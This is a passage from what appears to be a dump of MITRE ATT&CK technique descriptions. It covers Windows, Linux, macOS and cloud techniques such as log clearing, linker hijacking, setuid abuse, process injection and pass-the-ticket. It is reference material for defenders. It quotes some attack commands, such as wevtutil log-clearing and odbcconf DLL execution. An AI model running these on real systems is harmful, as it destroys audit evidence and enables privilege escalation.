other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)\nT1078.001 | Default Accounts | Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)\nT1574.006 | Dynamic Linker Hijacking | Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s os.environ.\n\nOn Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) \nT1070.001 | Clear Windows Event Logs | Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\nThe event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). For example, adversaries may use the PowerShell command Remove-EventLog -LogName Security to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)\nT1222 | File and Directory Permissions Modification | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\n\nAdversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior) \nT1548 | Abuse Elevation Control Mechanism | Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.\nT1134.002 | Create Process with Token | Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.\n\nWhile this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process.\nT1548.001 | Setuid and Setgid | An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)\nT1218.008 | Odbcconf | Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n\nT1548.005 | Temporary Elevated Cloud Access | Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own. \n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: Google Cloud Just in Time Access 2023)(Citation: Azure Just in Time Access 2023)\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account.(Citation: Google Cloud Service Account Authentication Roles) In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation: Microsoft Impersonation and EWS in Exchange) \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022)\nT1055.013 | Process Doppelg\u00e4nging | Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. \nT1578.003 | Delete Cloud Instance | An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)\nT1574.005 | Executable Installer File Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\nT1562.006 | Indicator Blocking | An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nFor example, adversaries may modify the `File` value in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging) \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck).\nT1562.007 | Disable or Modify Cloud Firewall | Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.\nT1036.002 | Right-to-Left Override | Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.\nT1542.002 | Component Firmware | Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\nT1070 | Indicator Removal | Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.\n\nRemoval of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.\nT1550.003 | Pass the Ticket | Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)\nT1036.004 | Masquerade Task or Service | Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)\nT1055.004 | Asynchronous Procedure Call | Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1647 | Plist File Modification | Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).\n\nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the LSUIElement key in an application\u2019s info.plist file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as LSEnvironment, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)\nT1553.005 | Mark-of-the-Web Bypass | Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)\nT1600.002 | Disable Crypto Hardware | Adversaries disable a network device\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\n\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)\nT1542 | Pre-OS Boot | Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.\nT1612 | Build Image on Host | Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. \nT1055.002 | Portable Executable Injection | Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1218.012 | Verclsid | Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) \nT1562.010 | Downgrade Attack | Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system\u2019s backward compatibility to force it into less secure modes of operation. \n\nAdversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\nAdversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade)\nT1497 | Virtualization/Sandbox Evasion | Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n\nT1218.005 | Mshta | Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows 